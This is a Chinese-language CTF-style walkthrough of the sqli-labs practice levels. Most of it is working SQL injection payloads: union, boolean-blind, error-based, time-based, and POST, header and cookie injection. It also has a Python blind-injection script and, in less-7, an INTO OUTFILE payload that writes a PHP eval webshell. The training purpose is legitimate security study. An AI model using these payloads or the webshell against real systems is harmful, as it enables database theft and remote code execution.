less-1
输入?id=1'
测试得到报错信息
从报错信息可以得到这是一个单引号闭合问题
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1‘ at line 1
源码中的查询语句为:$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
# 判断字段,(有返回结果,说为有三个段)
?id=-1' union select 1,2,3--+
# 爆库,(security)
?id=-1' union select 1,database(),3--+
# 爆表 (emails,referers,uagents,users)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
# 爆字段(id,username,password)
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
# 爆值
?id=-1' union select 1,group_concat(0x3a,username,0x3a,password),3 from users--+
less-2
输入?id=1'
测试得到报错信息
从报错信息中可以得出这里的奇数个单引号破坏了查询,导致抛出错误。因此我们得到查询代码用了整数
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘ LIMIT 0,1‘ at line 1
源码中的查询语句为:$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
同样可以使用联合注入
# 判断字段,(3)
?id=-1 union select 1,2,3--+
# 爆库,(security)
?id=-1 union select 1,database(),3--+
# 爆表,(emails,referers,uagents,users)
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
# 爆字段,(id,username,password)
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
# 爆值
?id=-1 union select 1,group_concat(0x3a,username,0x3a,password),3 from users--+
less-3
输入?id=1'
测试得到报错信息
从报错信息可以推断开发者使用的查询语句应该是.....where id = ('$id')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1‘ at line 1
所以我们再使用?id=1')--+
测试,验证猜想
源码中的查询语句为:$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;
可以成功注入的有
') or '1'=('1
) or 1=1 --+
') or 1=1 --+
payload
# 判断字段,(3)
?id=-1') union select 1,2,3--+
# 爆库,(security)
?id=-1') union select 1,database(),3--+
# 爆表,(emails,referers,uagents,users)
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
# 爆字段,(id,username,password)
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
# 爆值
?id=-1') union select 1,group_concat(0x3a,username,0x3a,password),3 from users--+
less-4
输入?id=1'
测试返回正常,输入?id-1"
时得到报错信息
从报错信息推断开发者使用的查询语句应该是.....where id = ("$id")
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1””) LIMIT 0,1‘ at line 1
所以使用?id=1")--+
测试,验证猜想
源码中的查询语句:$sql=”SELECT FROM users WHERE id=($id) LIMIT 0,1”; 注:$sql=”SELECT FROM users WHERE id=(“$id”) LIMIT 0,1”; 该语句会造成双引号截断
所以其实是跟$sql=””的这个双引号闭合
payload
# 判断字段,(有返回结果,说为有三个段)
?id=-1") union select 1,2,3--+
# 爆库,(security)
?id=-1") union select 1,database(),3--+
# 爆表 (emails,referers,uagents,users)
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
# 爆字段(id,username,password)
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
# 爆值
?id=-1") union select 1,group_concat(0x3a,username,0x3a,password),3 from users--+
less-5
运行返回结果正确的时候只返回 You are in ......
,不再返回数据库中的信息了。
所以这题的思路是盲注
同样用?id=1'
测试的报错信息能判断这是一个单引号闭合问题
因为还是存在运行结果正确返回You are in ......
字符串这么一个标记,所以可以采用布尔盲注
布尔盲注
首先获取数据库名的长度(个人觉得这步操作可有可无)
payload:?id=1' and length(database())=8--+
,返回标志字符说明长度为8
猜测数据库第一位,?id=1' and ascii(substr(database(),1,1))>97--+
,返回标志字符,说明第一位(‘s’)大于’a’,可以采用二分法来提高注入效率
substr(database()1,1)表示截取database第一位字符,长度为1,同理截取第二位字符则是substr(database(),2,1)
def database_name():
dn = ""
dl = database_len()
for i in range(dl):
left = 0x20
right = 0x7f
mid = (left+right)//2
while left<right:
pay = "?id=1' and ascii(substr(database(),{},1))>{}--+".format(i+1,mid)
print "url:",url+pay
res = requests.get(url+pay)
if "You are in..........." in res.text:
left = mid+1
else:
right = mid
mid = (left+right)//2
dn += chr(mid)
print "database_name:",dn
获取表名,?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>97--+
这是获取第一个表名的payload。limit 0,1
表示从第0个开始,获取第一个,那么想要获取第二个表名则是limit 1,1
获取表中字段(即表中的列名),?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))>97--+
,同理第二个字符用limit 1,1
,以此类推;除此之外,还可以利用regexp来获取表中的列(以users表为例)?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
获取值,?id=1' and ascii(substr((select username from users limit 1,1),1,1))=65--+
剩下的只需要不断造轮子,写个爆破脚本就行了;除此之外 ,还可以利用ord()
和mid()
函数获取users表的内容,?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
报错注入
原理学习:https://www.cnblogs.com/wangtanzhi/p/12577891.html
rand()+group by+count()报错
?id=1' union select 1,count(*),concat((select version()),0x3a,0x3a,floor(rand(0)*2))b from information_schema.columns group by b--+
利用double数值类型超出范围进行报错注入
语法函数:exp(int)
适用版本:mysql 5.5.5~5.5.49?id=1' union select (exp(~(select * from(select version())a))),2,3--+
得到表名:?id=1' union select (exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x))),2,3--+
得到列名:?id=1' union select (exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x))),2,3--+
检索数据:?id=1' union select (exp(~(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x))),2,3--+
利用bigint 溢出进行报错注入
payload:?id=1' union select (!(select * from (select user())x)-~0),2,3--+
xpath语法报错注入
语法函数: updatexml(XML_document, XPath_string, new_value);
适用版本:5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
我们通常在第二个xpath参数填写我们要查询的内容。
与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。
payload:?id=1' union select (updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)),2,3--+
通过查询verdion()返回版本,然后concat将其字符串化,因为updatexml第二个参数需要xpath格式的字符串,所以不符合要求,然后报错。
得到表名:?id=1' union select (updatexml(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),1)),2,3--+
得到列名:?id=1' union select (updatexml(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),1)),2,3--+
检索数据:?id=1' union select (updatexml(1, concat(0x7e, (select concat_ws(':',id,username,password) from users limit 0,1)),1)),2,3--+
extractvalue函数利用原理跟updatexml相同(前者2个参数,后者3个参数)
payload:?id=1' union select (extractvalue(1,concat(0x7e,(SELECT version()),0x7e))),2,3--+
延时注入
利用sleep()函数进行注入?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误时会有5秒的时间延时
利用benchmark()进行延时注入?id=1' union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1--+
当结果正确时,运行encode(‘MSG’,’by 5 seconds’)操作50000000次,会占用一段时间。
less-6
less-7
dump into outfile,本关利用文件导入的方式进行注入
因为没有了报错信息,所以回到源码中去查看sql语句$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
,所以可以使用'))
进行注入。
利用文件导入的方式进行注入
payload:?id=1')) union select 1,2,3 into outfile "E:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\uu.txt"--+
虽然报错了,但是可以看到还是成功写入了uu.txt
用同样的方式写一句话木马就行了?id=1')) union select 1,2,'<?php @eval($_post["cmd"])?>' into outfile "E:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\shell.php"--+
蚁剑连接,就行了?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "E:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\shell.php"--+
less-8
?id=1' or 1=1--+
返回正常,且没有报错输出
查看源码可以发现,mysql的报错语句被注释掉了,所以用不了报错注入,只能用布尔盲注,跟less-5一样
less-9
这题,不管输什么都是返回You are in...........
,所以盲注用不了;标题是Blind- Time based- Single Quotes- String
,基于时间-单引号,所以我们要利用延时注入,同时这是一个单引号闭合问题。
猜测数据库:?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
正确时直接返回,错误时sleep5秒
猜测security的数据库:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测users表的列:?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测username的值:?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
less-10
基于时间-双引号,把单引号改成双引号,其它的跟less-9一样
less-11
登录界面,POST传参;通过测试得知为单引号闭合问题
除了传参方式变成POST外,其他的跟less-1一样
获取数据库:uname=1admin' union select 1,database()#&passwd=suibian
获取表名:uname=1admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#&passwd=dd
获取列名:uname=1admin' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#&passwd=dd
检索数据:uname=1admin' union select 1,group_concat(0x3a,username,0x3a,password) from users #&passwd=dd
less-12
测试得到该题是")
闭合问题,跟less-11一样,只需要把'
改成")
即可
less-13
测试发现,是一个')
闭合问题
使用万能密码登录成功后发现没有返回数据uname=1admin') or 1=1#&passwd=suibian
,只返回了一个是否登录成功,是个盲注题,或者报错注入
payload参数less-5,这里不再累赘
less-14
双引号闭合问题
跟less-13一样,只有登录成功与否信息,没有返回数据,同样使用盲注操作;同样也可以用报错注入uname=1admin" or extractvalue(1,concat(0x7e,(select version()),0x7e))#&passwd=dd
less-15
没有报错信息输出了,只有一个登录成功与否的结果;测试发现uname=admin' or 1=1#&passwd=dd
登录成功,所以这是个单引号闭合问题;盲注。
less-16
同less-15,测试发现uname=admin") or 1=1#&passwd=dd
登录成功,所以是")
闭合问题;盲注。
less-17
本关是一个修改密码的过程,利用的是update语句,与前面利用select时是一样的
报错注入:uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select version()),0x7e))#&submit=Submit
查看源码发现,是先进行一次select语句,再update的,那为什么不直接从uname入手注入呢。
因为uname有check_input;先看几个函数:
addslashes()
addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
语法:addslashes(string)
返回值:已转义的字符串
预定义的字符串是:
- 单引号(’)
- 双引号(”)
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备的字符串。
默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes().所以您不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况可以使用函数get_magic_quotes_gpc()进行检测。
stripslashes()
mysql_real_escape_string()
函数转义SQL语句中使用的字符串中的特殊字符
语法:mysql_real_escape_string(string,connection)
string:必需,规定要转义的字符串
connection:可选,规定mysql连接,如果未规定,则使用上一个连接。
受影响字符:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
成功,返回已转义字符串;失败,返回false
在less-17中的check_input($_POST[‘uname’]),对uname进行各种转义处理,所以这里不能使用uname进行注入
HTTP头部介绍
在利用抓包工具进行抓包的时候,我们能看到很多的项:
HTTP头部详解:
1、Accept:告诉WEB服务器自己接受什么介质类型,/表示任何类型,type/*表示该类型下的所有子类型,type/sub-type。
2、Accept-Charset:浏览器申明自己接收的字符集
Accept-Encoding:浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language:浏览器申明自己接收的语言
语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk等等。
3、Accept-Ranges:WEB服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示 接受,none:表示不接受。
4、Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
5、Authorization:当客户端接收到来自WEB服务器的 WWW-Authenticate 响应时,用该头部回应自己的身份验证信息给WEB服务器。
6、Cache-Control:请求:no-cache(不要缓存的实体,要求现在从WEB服务器去取)
max-age:(只接受 Age 值小于max-age值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必有小于 max-stale 值)
min-fresh:(接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象)
响应:public(可以用 Cached 内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟 WEB 服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)
ALL:no-store(不允许缓存)
7、Connection:请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:close(连接已经关闭)
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300
8、Content-Encoding:WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如Content-Encoding: gzip
9、Content-Language:WEB 服务器告诉浏览器自己响应的对象的语音。
10、Content-Length:WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012
11、Content-Range:WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range:bytes 21010-47021/47022
12、Content-Type:WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
13、ETag:就是一个对象(比如URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其Etag也会被修改,所以ETag的作用跟Last-Modified 的作用差不多,主要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其ETag,当这次又请求这个文件时,浏览器就会把先前获得的ETag值发送给 WEB 服务器,然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。
14、Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟 WEB 服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。例如:Expires:Sat, 23 May 2009 10:02:12 GMT
15、Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn
16、If-Match:如果对象的ETag没有改变,其实也就意味着对象没有改变,才执行请求的动作。
17、If-None-Match:如果对象的ETag改变了,其实也就意味着对象也改变以,才执行请求的动作。
18、If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码304,告诉浏览器该对象没有修改。例如:If-Modified-Since:Thu,10 Apr 2008 09:14:42 GMT
19、If-Unmodified-Since:如果请求的对象在该头部指定的时间之后 没有修改,才执行请求的动作(比如返回对象)。
20、If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag或者自己所知道的最后修改时间给 WEB 服务器,让其判断 对象是否改变了。总是跟Range头部一起使用。
21、Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modifi:Tuesday,06 May 2008 02:42:43 GMT
22、Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。例如:Location: http://i0.sinaimg.cn /dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
23、Pramga:主要使用 Pramga:no-cache,相当于Cache-Control: no-cache。例如:Pragma:no-cache
24、Proxy-Authenticate:代理服务器响应浏览器,要求其提供代理身份验证信息。
Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
25、Range:浏览器(比如Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。例如:Range:bytes=1173546-
26、Referer:浏览器向 WEB 服务器表明自己是从哪个网页/URL获得/点击当前请求中的网址/URL。例如:Referer: http://www.sina.com/
27、Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61(Unix)
28、User-Agent:浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0(Windows;U;Windows NT 5.1;zh-CN;rv:1.8.1.14)Gecko/20080404 Firefox/2、0、0、14
29、Transfer-Encoding:WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding:chunked
30、Vary:WEB 服务器用该头部的内容告诉Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。例如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content-Encoding:gzip;Vary:Content-Encoding那么Cache服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
31、Via:列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查 Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80(squid/2.6STABLE13)
less-18
从源码得知,uname 和 passwd都进行了check_input 处理,所以我们在输入uname 和 passwd上进行注入是不行的,但是是代码上,我们看到了insert
将uagent和ip插入到数据库中,那么我们就可以用这个来注入。
PHP中用来获取客户端IP的变量
- $_SERVER[‘HTTP_CLIENT_IP’] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
- $_SERVER[‘HTTP_X_FORWARDED_FOR’],客户端可以伪造。
- $_SERVER[‘REMOTE_ADDR’],客户端不能伪造。
所以这里的IP是无法被伪造的,只能通过修改user-agent来进行注入;
insert语句这里是单引号闭合问题,而且后面输出了SQL报错语句,所以这里采用报错注入效率高一点。
less-19
less-20
由源码中可知,cookie从uname中获得值后,会从cookie中读取uname,然后直接进行拼接查询,且会输入查询结果,所以这里可以用联合查询。
less-21
这一关对cookie进行了base64处理,且闭合方式也变成了('')
,其他情况跟 less-20 一样
less-22
拼接方式由less-21的('')
变成""
,其它一致